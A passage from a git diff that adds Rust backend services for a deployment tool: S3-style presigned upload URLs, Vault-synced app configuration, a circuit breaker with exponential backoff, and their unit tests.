signed_headers.clone()), + ]); + let canonical_query_string = build_canonical_query_string(&query_params); + + let canonical_request = format!( + "{method}\n{canonical_uri}\n{canonical_query_string}\n{canonical_headers_string}\n{signed_headers}\nUNSIGNED-PAYLOAD" + ); + let string_to_sign = format!( + "AWS4-HMAC-SHA256\n{amz_date}\n{credential_scope}\n{}", + sha256_hex(canonical_request.as_bytes()) + ); + let signing_key = build_signing_key(&settings.secret_access_key, &short_date, &settings.region); + let signature = hmac_hex(&signing_key, string_to_sign.as_bytes()); + query_params.insert("X-Amz-Signature".to_string(), signature); + + let mut final_url = endpoint; + final_url.set_path(&canonical_uri); + final_url.set_query(Some(&build_canonical_query_string(&query_params))); + + Ok(final_url.to_string()) +} + +fn ensure_storage_configured( + settings: &MarketplaceAssetSettings, +) -> Result<(), MarketplaceAssetStorageError> { + if settings.is_configured() { + Ok(()) + } else { + Err(MarketplaceAssetStorageError::NotConfigured) + } +} + +fn sanitize_filename(filename: &str) -> Result { + let raw = normalize_non_empty(filename).ok_or(MarketplaceAssetStorageError::MissingFilename)?; + let sanitized = Path::new(&raw) + .file_name() + .and_then(|value| value.to_str()) + .map(str::trim) + .filter(|value| !value.is_empty()) + .ok_or(MarketplaceAssetStorageError::MissingFilename)?; + + Ok(sanitized.to_string()) +} + +fn normalize_non_empty(value: &str) -> Option { + let normalized = value.trim(); + if normalized.is_empty() { + None + } else { + Some(normalized.to_string()) + } +} + +fn normalize_server_side_encryption( + value: Option<&str>, +) -> Result, MarketplaceAssetStorageError> { + match value.map(str::trim).filter(|entry| !entry.is_empty()) { + None => Ok(None), + Some("AES256") => Ok(Some("AES256".to_string())), + Some(other) => { + Err(MarketplaceAssetStorageError::UnsupportedServerSideEncryption(other.to_string())) + } + } +} + +fn build_canonical_uri(bucket: &str, key: &str) -> String { + let encoded_bucket = percent_encode(bucket); + let encoded_key = key + .split('/') + .map(percent_encode) + .collect::>() + .join("/"); + format!("/{encoded_bucket}/{encoded_key}") +} + +fn build_canonical_query_string(params: &BTreeMap) -> String { + params + .iter() + .map(|(key, value)| format!("{}={}", percent_encode(key), percent_encode(value))) + .collect::>() + .join("&") +} + +fn build_signing_key(secret_access_key: &str, date: &str, region: &str) -> Vec { + let k_date = hmac_bytes( + format!("AWS4{secret_access_key}").as_bytes(), + date.as_bytes(), + ); + let k_region = hmac_bytes(&k_date, region.as_bytes()); + let k_service = hmac_bytes(&k_region, b"s3"); + hmac_bytes(&k_service, b"aws4_request") +} + +fn hmac_bytes(key: &[u8], payload: &[u8]) -> Vec { + let mut mac = HmacSha256::new_from_slice(key).expect("HMAC key should be valid"); + mac.update(payload); + mac.finalize().into_bytes().to_vec() +} + +fn hmac_hex(key: &[u8], payload: &[u8]) -> String { + hex_encode(&hmac_bytes(key, payload)) +} + +fn sha256_hex(payload: &[u8]) -> String { + let digest = Sha256::digest(payload); + hex_encode(&digest) +} + +fn hex_encode(bytes: &[u8]) -> String { + bytes.iter().map(|byte| format!("{byte:02x}")).collect() +} + +fn percent_encode(value: &str) -> String { + let mut encoded = String::new(); + for byte in value.as_bytes() { + let ch = *byte as char; + if ch.is_ascii_alphanumeric() || matches!(ch, '-' | '_' | '.' | '~') { + encoded.push(ch); + } else { + encoded.push_str(&format!("%{byte:02X}")); + } + } + encoded +} + +#[cfg(test)] +mod tests { + use super::{build_asset_key, presign_asset_upload, MarketplaceAssetUploadRequest}; + use crate::configuration::MarketplaceAssetSettings; + use uuid::Uuid; + + fn storage_settings() -> MarketplaceAssetSettings { + MarketplaceAssetSettings { + enabled: true, + current_env: "test".to_string(), + endpoint_url: "https://objects.trydirect.test".to_string(), + region: "eu-central".to_string(), + access_key_id: "access".to_string(), + secret_access_key: "secret".to_string(), + bucket_dev: "marketplace-assets-dev".to_string(), + bucket_test: "marketplace-assets-test".to_string(), + bucket_staging: "marketplace-assets-staging".to_string(), + bucket_prod: "marketplace-assets-prod".to_string(), + server_side_encryption: Some("AES256".to_string()), + presign_put_ttl_secs: 900, + presign_get_ttl_secs: 300, + } + } + + #[test] + fn build_asset_key_uses_immutable_layout() { + let template_id = Uuid::parse_str("11111111-2222-3333-4444-555555555555").unwrap(); + let key = build_asset_key(&template_id, "1.0.0", "abc12345", "bundle.tgz"); + + assert_eq!( + "templates/11111111-2222-3333-4444-555555555555/versions/1.0.0/assets/abc12345/bundle.tgz", + key + ); + } + + #[test] + fn presign_asset_upload_uses_test_bucket_and_sse_header() { + let response = presign_asset_upload( + &storage_settings(), + &Uuid::parse_str("11111111-2222-3333-4444-555555555555").unwrap(), + "1.0.0", + MarketplaceAssetUploadRequest { + filename: "bundle.tgz".to_string(), + sha256: "abc12345".to_string(), + size: 1024, + content_type: Some("application/gzip".to_string()), + mount_path: None, + fetch_target: Some("/bootstrap/bundle.tgz".to_string()), + decompress: false, + executable: false, + immutable: true, + }, + ) + .expect("presign should succeed"); + + assert_eq!("PUT", response.method); + assert_eq!("marketplace-assets-test", response.asset.bucket); + assert_eq!( + Some(&"AES256".to_string()), + response.headers.get("x-amz-server-side-encryption") + ); + assert_eq!( + Some(&"abc12345".to_string()), + response.headers.get("x-amz-meta-sha256") + ); + assert!( + response.url.contains("X-Amz-Signature="), + "presigned url should contain a SigV4 signature" + ); + assert!(response + .asset + .key + .contains("/versions/1.0.0/assets/abc12345/bundle.tgz")); + } +} diff --git a/stacker/stacker/src/services/mod.rs b/stacker/stacker/src/services/mod.rs new file mode 100644 index 0000000..d68829e --- /dev/null +++ b/stacker/stacker/src/services/mod.rs @@ -0,0 +1,65 @@ +pub mod agent_dispatcher; +pub mod config_renderer; +pub mod dag_executor; +pub mod deploy_plan; +pub mod deployment_events; +pub mod deployment_identifier; +pub mod deployment_state; +pub mod env_contract; +pub mod env_model; +pub mod explain; +pub mod grpc_pipe; +pub mod handoff; +pub mod log_cache; +pub mod marketplace_assets; +pub mod project; +pub mod project_app_service; +mod rating; +pub mod resilience_engine; +pub mod step_executor; +pub mod typed_error; +pub mod vault_service; +pub mod ws_pipe; + +pub use config_renderer::{AppRenderContext, ConfigBundle, ConfigRenderer, SyncResult}; +pub use deploy_plan::{ + build_deploy_plan, build_rollback_plan, resolve_rollback_plan_context, DeployPlan, + DeployPlanAction, DeployPlanActionKind, DeployPlanOperation, DeployPlanRollback, + DeployPlanScope, RollbackPlanContext, DEPLOY_PLAN_SCHEMA_VERSION, +}; +pub use deployment_events::{ + DeploymentEvent, DeploymentEventClassification, DeploymentEventFeed, DeploymentEventKind, + DEPLOYMENT_EVENTS_SCHEMA_VERSION, +}; +pub use deployment_identifier::{ + DeploymentIdentifier, DeploymentIdentifierArgs, DeploymentResolveError, DeploymentResolver, + StackerDeploymentResolver, +}; +pub use deployment_state::{ + DeploymentAgentFeatures, DeploymentAgentState, DeploymentAppState, DeploymentDriftState, + DeploymentLastCommandState, DeploymentProjectState, DeploymentRuntimeState, DeploymentState, + DeploymentStateDeployment, DEPLOYMENT_STATE_SCHEMA_VERSION, +}; +pub use env_contract::{ + runtime_env_contract_response, runtime_env_layer_names, RuntimeEnvContractResponse, + RuntimeEnvLayerContract, RUNTIME_ENV_CONTRACT_VERSION, RUNTIME_ENV_LAYER_BASE, + RUNTIME_ENV_LAYER_COMPOSE, RUNTIME_ENV_LAYER_CONTRACTS, RUNTIME_ENV_LAYER_SERVER, + RUNTIME_ENV_LAYER_SERVICE, RUNTIME_ENV_PRECEDENCE_ORDER, +}; +pub use explain::{ + build_explain_env, build_explain_topology, ExplainDestination, ExplainEnv, ExplainEnvLayer, + ExplainRenderedEnv, ExplainTopology, ExplainTopologyService, EXPLAIN_SCHEMA_VERSION, +}; +pub use handoff::InMemoryHandoffStore; +pub use log_cache::LogCacheService; +pub use marketplace_assets::{ + build_asset_key, presign_asset_download, presign_asset_upload, MarketplaceAssetStorageError, + MarketplaceAssetUploadRequest, PresignedMarketplaceAssetResponse, + MARKETPLACE_ASSET_STORAGE_PROVIDER, +}; +pub use project_app_service::{ProjectAppError, ProjectAppService, SyncSummary}; +pub use typed_error::{ + ApiTypedError, TypedErrorCode, TypedErrorEnvelope, TypedRemediationClass, + TYPED_ERROR_SCHEMA_VERSION, +}; +pub use vault_service::{AppConfig, VaultError, VaultService}; diff --git a/stacker/stacker/src/services/project.rs b/stacker/stacker/src/services/project.rs new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/stacker/stacker/src/services/project.rs @@ -0,0 +1 @@ + diff --git a/stacker/stacker/src/services/project_app_service.rs b/stacker/stacker/src/services/project_app_service.rs new file mode 100644 index 0000000..e20db38 --- /dev/null +++ b/stacker/stacker/src/services/project_app_service.rs @@ -0,0 +1,409 @@ +//! ProjectApp Service - Manages app configurations with Vault sync +//! +//! This service wraps the database operations for ProjectApp and automatically +//! syncs configuration changes to Vault for the Status Panel to consume. + +use crate::db; +use crate::forms::project::Payload; +use crate::models::{Project, ProjectApp}; +use crate::services::config_renderer::{env_body_hash, ConfigRenderer}; +use crate::services::vault_service::{VaultError, VaultService}; +use sqlx::PgPool; +use std::sync::Arc; +use tokio::sync::RwLock; + +/// Result type for ProjectApp operations +pub type Result = std::result::Result; + +/// Error type for ProjectApp operations +#[derive(Debug)] +pub enum ProjectAppError { + Database(String), + VaultSync(VaultError), + ConfigRender(String), + NotFound(String), + Validation(String), +} + +impl std::fmt::Display for ProjectAppError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Database(msg) => write!(f, "Database error: {}", msg), + Self::VaultSync(e) => write!(f, "Vault sync error: {}", e), + Self::ConfigRender(msg) => write!(f, "Config render error: {}", msg), + Self::NotFound(msg) => write!(f, "Not found: {}", msg), + Self::Validation(msg) => write!(f, "Validation error: {}", msg), + } + } +} + +impl std::error::Error for ProjectAppError {} + +impl From for ProjectAppError { + fn from(e: VaultError) -> Self { + Self::VaultSync(e) + } +} + +/// ProjectApp service with automatic Vault sync +pub struct ProjectAppService { + pool: Arc, + config_renderer: Arc>, + vault_sync_enabled: bool, +} + +impl ProjectAppService { + /// Create a new ProjectAppService + pub fn new(pool: Arc) -> std::result::Result { + let config_renderer = ConfigRenderer::new() + .map_err(|e| format!("Failed to create config renderer: {}", e))?; + + Ok(Self { + pool, + config_renderer: Arc::new(RwLock::new(config_renderer)), + vault_sync_enabled: true, + }) + } + + pub fn default_network_from_project(project: &Project) -> Option { + Payload::try_from(project).ok().and_then(|payload| { + payload + .custom + .networks + .networks + .as_ref() + .and_then(|networks| { + networks + .iter() + .find(|network| network.name == "default_network") + .map(|network| network.name.clone()) + }) + }) + } + + /// Create service without Vault sync (for testing or offline mode) + pub fn new_without_sync(pool: Arc) -> std::result::Result { + let config_renderer = ConfigRenderer::new() + .map_err(|e| format!("Failed to create config renderer: {}", e))?; + + Ok(Self { + pool, + config_renderer: Arc::new(RwLock::new(config_renderer)), + vault_sync_enabled: false, + }) + } + + /// Fetch a single app by ID + pub async fn get(&self, id: i32) -> Result { + db::project_app::fetch(&self.pool, id) + .await + .map_err(ProjectAppError::Database)? + .ok_or_else(|| ProjectAppError::NotFound(format!("App with id {} not found", id))) + } + + /// Fetch all apps for a project + pub async fn list_by_project(&self, project_id: i32) -> Result> { + db::project_app::fetch_by_project(&self.pool, project_id) + .await + .map_err(ProjectAppError::Database) + } + + /// Fetch a single app by project ID and app code + pub async fn get_by_code(&self, project_id: i32, code: &str) -> Result { + db::project_app::fetch_by_project_and_code(&self.pool, project_id, code) + .await + .map_err(ProjectAppError::Database)? + .ok_or_else(|| { + ProjectAppError::NotFound(format!( + "App with code '{}' not found in project {}", + code, project_id + )) + }) + } + + /// Create a new app and sync to Vault + pub async fn create( + &self, + app: &ProjectApp, + project: &Project, + deployment_hash: &str, + ) -> Result { + // Validate app + self.validate_app(app)?; + + // Insert into database + let created = db::project_app::insert(&self.pool, app) + .await + .map_err(ProjectAppError::Database)?; + + // Sync to Vault if enabled + if self.vault_sync_enabled { + if let Err(e) = self + .sync_app_to_vault(&created, project, deployment_hash) + .await + { + tracing::warn!( + app_code = %app.code, + error = %e, + "Failed to sync new app to Vault (will retry on next update)" + ); + // Don't fail the create operation, just warn + } + } + + Ok(created) + } + + /// Update an existing app and sync to Vault + pub async fn update( + &self, + app: &ProjectApp, + project: &Project, + deployment_hash: &str, + ) -> Result { + // Validate app + self.validate_app(app)?; + + // Update in database + let updated = db::project_app::update(&self.pool, app) + .await + .map_err(ProjectAppError::Database)?; + + // Sync to Vault if enabled + if self.vault_sync_enabled { + if let Err(e) = self + .sync_app_to_vault(&updated, project, deployment_hash) + .await + { + tracing::warn!( + app_code = %app.code, + error = %e, + "Failed to sync updated app to Vault" + ); + } + } + + Ok(updated) + } + + /// Delete an app and remove from Vault + pub async fn delete(&self, id: i32, deployment_hash: &str) -> Result { + // Get the app first to know its code + let app = self.get(id).await?; + + // Delete from database + let deleted = db::project_app::delete(&self.pool, id) + .await + .map_err(ProjectAppError::Database)?; + + // Remove from Vault if enabled + if deleted && self.vault_sync_enabled { + if let Err(e) = self.delete_from_vault(&app.code, deployment_hash).await { + tracing::warn!( + app_code = %app.code, + error = %e, + "Failed to delete app config from Vault" + ); + } + } + + Ok(deleted) + } + + /// Create or update an app (upsert) and sync to Vault + pub async fn upsert( + &self, + app: &ProjectApp, + project: &Project, + deployment_hash: &str, + ) -> Result { + // Check if app exists + let exists = + db::project_app::exists_by_project_and_code(&self.pool, app.project_id, &app.code) + .await + .map_err(ProjectAppError::Database)?; + + if exists { + // Fetch existing to get ID + let existing = self.get_by_code(app.project_id, &app.code).await?; + let mut updated_app = app.clone(); + updated_app.id = existing.id; + self.update(&updated_app, project, deployment_hash).await + } else { + self.create(app, project, deployment_hash).await + } + } + + /// Sync all apps for a project to Vault + pub async fn sync_all_to_vault( + &self, + project: &Project, + deployment_hash: &str, + ) -> Result { + let apps = self.list_by_project(project.id).await?; + let renderer = self.config_renderer.read().await; + + // Render the full bundle + let bundle = renderer + .render_bundle(&self.pool, project, &apps, deployment_hash) + .await + .map_err(|e| ProjectAppError::ConfigRender(e.to_string()))?; + + // Sync to Vault + let sync_result = renderer.sync_to_vault(&bundle).await?; + for app in &apps { + let env_key = format!("{}_env", app.code); + if !sync_result.synced.iter().any(|key| key == &env_key) { + continue; + } + if let Some(config) = bundle.app_configs.get(&app.code) { + let config_hash = env_body_hash(&config.content); + db::project_app::update_sync_metadata(&self.pool, app.id, &config_hash) + .await + .map_err(ProjectAppError::Database)?; + } + } + + Ok(SyncSummary { + total_apps: apps.len(), + synced: sync_result.synced.len(), + failed: sync_result.failed.len(), + version: sync_result.version, + details: sync_result, + }) + } + + /// Sync a single app to Vault + pub async fn sync_app_to_vault( + &self, + app: &ProjectApp, + project: &Project, + deployment_hash: &str, + ) -> Result<()> { + let renderer = self.config_renderer.read().await; + let config_hash = renderer + .sync_app_to_vault(&self.pool, app, project, deployment_hash) + .await + .map_err(ProjectAppError::VaultSync)?; + crate::db::project_app::update_sync_metadata(&self.pool, app.id, &config_hash) + .await + .map_err(ProjectAppError::Database)?; + + Ok(()) + } + + /// Delete an app config from Vault + async fn delete_from_vault(&self, app_code: &str, deployment_hash: &str) -> Result<()> { + let vault = VaultService::from_env() + .map_err(|e| ProjectAppError::VaultSync(e))? + .ok_or_else(|| ProjectAppError::VaultSync(VaultError::NotConfigured))?; + + vault + .delete_app_config(deployment_hash, app_code) + .await + .map_err(ProjectAppError::VaultSync) + } + + /// Validate app before saving + fn validate_app(&self, app: &ProjectApp) -> Result<()> { + tracing::info!( + "[VALIDATE_APP] Validating app - code: '{}', name: '{}', image: '{}'", + app.code, + app.name, + app.image + ); + if app.code.is_empty() { + tracing::error!("[VALIDATE_APP] FAILED: App code is required"); + return Err(ProjectAppError::Validation("App code is required".into())); + } + if app.name.is_empty() { + tracing::error!("[VALIDATE_APP] FAILED: App name is required"); + return Err(ProjectAppError::Validation("App name is required".into())); + } + if app.image.is_empty() { + tracing::error!("[VALIDATE_APP] FAILED: Docker image is required (image is empty!)"); + return Err(ProjectAppError::Validation( + "Docker image is required".into(), + )); + } + // Validate code format (alphanumeric, dash, underscore) + if !app + .code + .chars() + .all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_') + { + tracing::error!("[VALIDATE_APP] FAILED: Invalid app code format"); + return Err(ProjectAppError::Validation( + "App code must be alphanumeric with dashes or underscores only".into(), + )); + } + tracing::info!("[VALIDATE_APP] Validation passed"); + Ok(()) + } + + /// Regenerate all configs without syncing (for preview) + pub async fn preview_bundle( + &self, + project: &Project, + apps: &[ProjectApp], + deployment_hash: &str, + ) -> Result { + let renderer = self.config_renderer.read().await; + renderer + .render_bundle(&self.pool, project, apps, deployment_hash) + .await + .map_err(|e| ProjectAppError::ConfigRender(e.to_string())) + } +} + +/// Summary of a sync operation +#[derive(Debug, Clone)] +pub struct SyncSummary { + pub total_apps: usize, + pub synced: usize, + pub failed: usize, + pub version: u64, + pub details: crate::services::config_renderer::SyncResult, +} + +impl SyncSummary { + pub fn is_success(&self) -> bool { + self.failed == 0 + } +} + +#[cfg(test)] +mod tests { + use crate::models::ProjectApp; + + #[test] + fn test_validate_app_empty_code() { + // Can't easily test without a real pool, but we can test validation logic + let app = ProjectApp::new( + 1, + "".to_string(), + "Test".to_string(), + "nginx:latest".to_string(), + ); + + // Validation would fail for empty code + assert!(app.code.is_empty()); + } + + #[test] + fn test_validate_app_invalid_code() { + let app = ProjectApp::new( + 1, + "my app!".to_string(), // Invalid: contains space and ! + "Test".to_string(), + "nginx:latest".to_string(), + ); + + // This code contains invalid characters + let has_invalid = app + .code + .chars() + .any(|c| !c.is_ascii_alphanumeric() && c != '-' && c != '_'); + assert!(has_invalid); + } +} diff --git a/stacker/stacker/src/services/rating.rs b/stacker/stacker/src/services/rating.rs new file mode 100644 index 0000000..c59e62a --- /dev/null +++ b/stacker/stacker/src/services/rating.rs @@ -0,0 +1,20 @@ +// use crate::models::rating::Rating; +// use tracing::Instrument; +// use tracing_subscriber::fmt::format; + +// impl Rating { +// pub async fn filter_by(query_string: &str, pool: PgPool) -> Result<()> { +// +// let url = Url::parse(query_string)?; +// tracing::debug!("parsed url {:?}", url); +// +// let query_span = tracing::info_span!("Search for rate by {}.", filter); +// let r = match sqlx::query_as!( +// models::Rating, +// r"SELECT * FROM rating WHERE id=$1 LIMIT 1", +// filter) +// .fetch(pool.get_ref()) +// .instrument(query_span) +// .await; +// } +// } diff --git a/stacker/stacker/src/services/resilience_engine.rs b/stacker/stacker/src/services/resilience_engine.rs new file mode 100644 index 0000000..34b7964 --- /dev/null +++ b/stacker/stacker/src/services/resilience_engine.rs @@ -0,0 +1,440 @@ +use crate::models::agent_protocol::RetryPolicy; +use serde_json::Value as JsonValue; +use std::time::{Duration, Instant}; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// In-Memory Circuit Breaker +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum CircuitState { + Closed, + Open, + HalfOpen, +} + +impl std::fmt::Display for CircuitState { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Closed => write!(f, "closed"), + Self::Open => write!(f, "open"), + Self::HalfOpen => write!(f, "half_open"), + } + } +} + +#[derive(Debug, Clone)] +pub struct CircuitBreakerConfig { + pub failure_threshold: u32, + pub recovery_timeout: Duration, + pub half_open_max_requests: u32, +} + +impl Default for CircuitBreakerConfig { + fn default() -> Self { + Self { + failure_threshold: 5, + recovery_timeout: Duration::from_secs(60), + half_open_max_requests: 3, + } + } +} + +#[derive(Debug)] +pub struct InMemoryCircuitBreaker { + state: CircuitState, + failure_count: u32, + success_count: u32, + half_open_requests: u32, + config: CircuitBreakerConfig, + opened_at: Option, +} + +impl InMemoryCircuitBreaker { + pub fn new(config: CircuitBreakerConfig) -> Self { + Self { + state: CircuitState::Closed, + failure_count: 0, + success_count: 0, + half_open_requests: 0, + config, + opened_at: None, + } + } + + pub fn state(&self) -> &CircuitState { + &self.state + } + + /// Check if the circuit allows a request. May transition Open → HalfOpen + /// if recovery timeout has elapsed. + pub fn allows_request(&mut self) -> bool { + match self.state { + CircuitState::Closed => true, + CircuitState::Open => { + if let Some(opened) = self.opened_at { + if opened.elapsed() >= self.config.recovery_timeout { + self.state = CircuitState::HalfOpen; + self.half_open_requests = 0; + true + } else { + false + } + } else { + false + } + } + CircuitState::HalfOpen => self.half_open_requests < self.config.half_open_max_requests, + } + } + + pub fn record_success(&mut self) { + match self.state { + CircuitState::Closed => { + self.failure_count = 0; + } + CircuitState::HalfOpen => { + self.success_count += 1; + if self.success_count >= self.config.half_open_max_requests { + self.state = CircuitState::Closed; + self.failure_count = 0; + self.success_count = 0; + self.half_open_requests = 0; + self.opened_at = None; + } + } + CircuitState::Open => {} // shouldn't happen + } + } + + pub fn record_failure(&mut self) { + match self.state { + CircuitState::Closed => { + self.failure_count += 1; + if self.failure_count >= self.config.failure_threshold { + self.state = CircuitState::Open; + self.opened_at = Some(Instant::now()); + self.success_count = 0; + } + } + CircuitState::HalfOpen => { + self.state = CircuitState::Open; + self.opened_at = Some(Instant::now()); + self.failure_count = 0; + self.success_count = 0; + self.half_open_requests = 0; + } + CircuitState::Open => {} // shouldn't happen + } + } + + pub fn reset(&mut self) { + self.state = CircuitState::Closed; + self.failure_count = 0; + self.success_count = 0; + self.half_open_requests = 0; + self.opened_at = None; + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Retry with Exponential Backoff +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Compute backoff duration for a given attempt (0-indexed). +pub fn compute_backoff(attempt: u32, policy: &RetryPolicy) -> Duration { + let delay_ms = (policy.backoff_base_ms as u128) + .saturating_mul(2u128.saturating_pow(attempt)) + .min(policy.backoff_max_ms as u128) as u64; + Duration::from_millis(delay_ms) +} + +/// Execute a step with retry and circuit breaker protection. +/// Returns the final result after all retries are exhausted. +pub async fn execute_with_resilience( + step_type: &str, + config: &JsonValue, + input: &JsonValue, + retry_policy: &RetryPolicy, + circuit_breaker: &mut InMemoryCircuitBreaker, +) -> Result { + use super::step_executor; + + if !circuit_breaker.allows_request() { + return Err("Circuit breaker is open".to_string()); + } + + let mut last_err = String::new(); + + for attempt in 0..=retry_policy.max_retries { + if attempt > 0 { + if !circuit_breaker.allows_request() { + return Err(format!( + "Circuit breaker opened after {} attempts: {}", + attempt, last_err + )); + } + let backoff = compute_backoff(attempt - 1, retry_policy); + tokio::time::sleep(backoff).await; + } + + match step_executor::execute_step(step_type, config, input).await { + Ok(output) => { + circuit_breaker.record_success(); + return Ok(output); + } + Err(err) => { + circuit_breaker.record_failure(); + last_err = err; + } + } + } + + Err(format!( + "Step failed after {} retries: {}", + retry_policy.max_retries, last_err + )) +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + // ── Circuit Breaker Tests ────────────────────────── + + #[test] + fn new_breaker_is_closed() { + let cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig::default()); + assert_eq!(*cb.state(), CircuitState::Closed); + } + + #[test] + fn closed_allows_requests() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig::default()); + assert!(cb.allows_request()); + } + + #[test] + fn failures_below_threshold_stay_closed() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 3, + ..Default::default() + }); + cb.record_failure(); + cb.record_failure(); + assert_eq!(*cb.state(), CircuitState::Closed); + assert!(cb.allows_request()); + } + + #[test] + fn failures_at_threshold_opens_circuit() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 3, + ..Default::default() + }); + cb.record_failure(); + cb.record_failure(); + cb.record_failure(); + assert_eq!(*cb.state(), CircuitState::Open); + assert!(!cb.allows_request()); + } + + #[test] + fn success_resets_failure_count() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 3, + ..Default::default() + }); + cb.record_failure(); + cb.record_failure(); + cb.record_success(); + assert_eq!(cb.failure_count, 0); + assert_eq!(*cb.state(), CircuitState::Closed); + } + + #[test] + fn open_transitions_to_half_open_after_timeout() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 1, + recovery_timeout: Duration::from_millis(0), // instant recovery for test + half_open_max_requests: 2, + }); + cb.record_failure(); + assert_eq!(*cb.state(), CircuitState::Open); + + // With zero timeout, should transition on next allows_request + assert!(cb.allows_request()); + assert_eq!(*cb.state(), CircuitState::HalfOpen); + } + + #[test] + fn half_open_limits_requests() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 1, + recovery_timeout: Duration::from_millis(0), + half_open_max_requests: 2, + }); + cb.record_failure(); + cb.allows_request(); // transitions to HalfOpen + + assert!(cb.allows_request()); // request 0 < 2 + cb.half_open_requests = 1; + assert!(cb.allows_request()); // request 1 < 2 + cb.half_open_requests = 2; + assert!(!cb.allows_request()); // request 2 >= 2 + } + + #[test] + fn half_open_success_closes_circuit() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 1, + recovery_timeout: Duration::from_millis(0), + half_open_max_requests: 2, + }); + cb.record_failure(); + cb.allows_request(); // HalfOpen + + cb.record_success(); + cb.record_success(); + assert_eq!(*cb.state(), CircuitState::Closed); + } + + #[test] + fn half_open_failure_reopens_circuit() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 1, + recovery_timeout: Duration::from_millis(0), + half_open_max_requests: 2, + }); + cb.record_failure(); + cb.allows_request(); // HalfOpen + + cb.record_failure(); + assert_eq!(*cb.state(), CircuitState::Open); + } + + #[test] + fn reset_returns_to_closed() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 1, + ..Default::default() + }); + cb.record_failure(); + assert_eq!(*cb.state(), CircuitState::Open); + + cb.reset(); + assert_eq!(*cb.state(), CircuitState::Closed); + assert!(cb.allows_request()); + } + + #[test] + fn circuit_state_display() { + assert_eq!(CircuitState::Closed.to_string(), "closed"); + assert_eq!(CircuitState::Open.to_string(), "open"); + assert_eq!(CircuitState::HalfOpen.to_string(), "half_open"); + } + + // ── Backoff Tests ────────────────────────────────── + + #[test] + fn backoff_exponential() { + let policy = RetryPolicy { + max_retries: 5, + backoff_base_ms: 100, + backoff_max_ms: 10_000, + }; + assert_eq!(compute_backoff(0, &policy), Duration::from_millis(100)); + assert_eq!(compute_backoff(1, &policy), Duration::from_millis(200)); + assert_eq!(compute_backoff(2, &policy), Duration::from_millis(400)); + assert_eq!(compute_backoff(3, &policy), Duration::from_millis(800)); + } + + #[test] + fn backoff_capped_at_max() { + let policy = RetryPolicy { + max_retries: 10, + backoff_base_ms: 1000, + backoff_max_ms: 5000, + }; + assert_eq!(compute_backoff(0, &policy), Duration::from_millis(1000)); + assert_eq!(compute_backoff(1, &policy), Duration::from_millis(2000)); + assert_eq!(compute_backoff(2, &policy), Duration::from_millis(4000)); + assert_eq!(compute_backoff(3, &policy), Duration::from_millis(5000)); // capped + assert_eq!(compute_backoff(10, &policy), Duration::from_millis(5000)); + } + + // ── execute_with_resilience Tests ────────────────── + + #[tokio::test] + async fn resilience_succeeds_on_first_try() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig::default()); + let policy = RetryPolicy { + max_retries: 3, + backoff_base_ms: 1, + backoff_max_ms: 10, + }; + + let result = execute_with_resilience( + "source", + &json!({"output": {"ok": true}}), + &json!({}), + &policy, + &mut cb, + ) + .await; + + assert!(result.is_ok()); + assert_eq!(result.unwrap(), json!({"ok": true})); + } + + #[tokio::test] + async fn resilience_fails_after_retries() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 10, // high so CB doesn't open + ..Default::default() + }); + let policy = RetryPolicy { + max_retries: 2, + backoff_base_ms: 1, + backoff_max_ms: 5, + }; + + let result = execute_with_resilience( + "source", + &json!({"error": "always fails"}), + &json!({}), + &policy, + &mut cb, + ) + .await; + + assert!(result.is_err()); + let err = result.unwrap_err(); + assert!(err.contains("after 2 retries")); + assert!(err.contains("always fails")); + } + + #[tokio::test] + async fn resilience_blocked_by_open_circuit() { + let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig { + failure_threshold: 1, + recovery_timeout: Duration::from_secs(60), + ..Default::default() + }); + cb.record_failure(); // Open the circuit + + let policy = RetryPolicy::default(); + let result = execute_with_resilience( + "source", + &json!({"output": {"ok": true}}), + &json!({}), + &policy, + &mut cb, + ) + .await; + + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Circuit breaker is open")); + } +} diff --git a/stacker/stacker/src/services/step_executor.rs b/stacker/stacker/src/services/step_executor.rs new file mode 100644 index 0000000..93c08e7 --- /dev/null +++ b/stacker/stacker/src/services/step_executor.rs @@ -0,0 +1,414 @@ +use serde_json::Value as JsonValue; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Step Executor — Pure step execution logic (no DB dependencies) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Execute a single DAG step given its type, config, and input data. +/// This function is DB-free and can be used by both the in-process DAG +/// executor and the standalone agent-executor binary. +pub async fn execute_step( + step_type: &str, + config: &JsonValue, + input: &JsonValue, +) -> Result { + // Check for simulated failure (testing hook) + if let Some(err_msg) = config.get("error").and_then(|e| e.as_str()) { + return Err(err_msg.to_string()); + } + + match step_type { + 